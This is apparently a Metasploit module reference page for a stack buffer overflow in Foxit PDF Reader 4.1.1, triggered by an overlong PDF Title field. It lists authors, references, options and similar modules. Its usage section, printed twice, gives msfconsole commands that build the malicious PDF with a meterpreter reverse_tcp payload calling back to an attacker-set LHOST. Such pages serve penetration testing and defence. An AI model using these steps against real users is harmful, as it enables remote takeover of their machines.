Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow
This module exploits a stack buffer overflow in Foxit PDF Reader prior to version 4.2.0.0928. The vulnerability is triggered when opening a malformed PDF file that contains an overly long string in the Title field. This results in overwriting a structured exception handler record. NOTE: This exploit does not use javascript.
Exploit Rank
- Great
Exploit Authors
- dookie < >
- Sud0 < >
- corelanc0d3r < peter.ve [at] corelan.be >
- jduck < jduck [at] metasploit.com >
Vulnerability References
- OSVDB-68648
- EDB-15532
- http://www.corelan.be:8800/index.php/2010/11/13/offensive-security-exploit-we...
Exploit Targets
- 0 - Foxit Reader v4.1.1 XP Universal (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/fileformat/a-pdf_wav_to_mp3
- exploit/windows/fileformat/acdsee_fotoslate_string
- exploit/windows/fileformat/acdsee_xpm
- exploit/windows/fileformat/activepdf_webgrabber
- exploit/windows/fileformat/adobe_collectemailinfo
- exploit/windows/fileformat/adobe_cooltype_sing
- exploit/windows/fileformat/adobe_flashplayer_button
- exploit/windows/fileformat/adobe_flashplayer_newfunction
- exploit/windows/fileformat/adobe_flatedecode_predictor02
- exploit/windows/fileformat/adobe_geticon
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/fileformat/foxit_title_bof
msf exploit(foxit_title_bof) > show payloads
msf exploit(foxit_title_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(foxit_title_bof) > set LHOST [MY IP ADDRESS]
msf exploit(foxit_title_bof) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/fileformat/foxit_title_bof
msf exploit(foxit_title_bof) > show payloads
msf exploit(foxit_title_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(foxit_title_bof) > set LHOST [MY IP ADDRESS]
msf exploit(foxit_title_bof) > exploit
Exploit Module Options
| FILENAME | The output filename. (default: corelan_foxit.pdf) |
| PDF::Encoder | Select encoder for JavaScript Stream, valid values are ASCII85, FLATE, and ASCIIHEX (default: ASCIIHEX) |
| PDF::Method | Select PAGE, DOCUMENT, or ANNOTATION (default: DOCUMENT) |
| PDF::MultiFilter | Stack multiple encodings n times (default: 1) |
| PDF::Obfuscate | Whether or not we should obfuscate the output (default: true) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
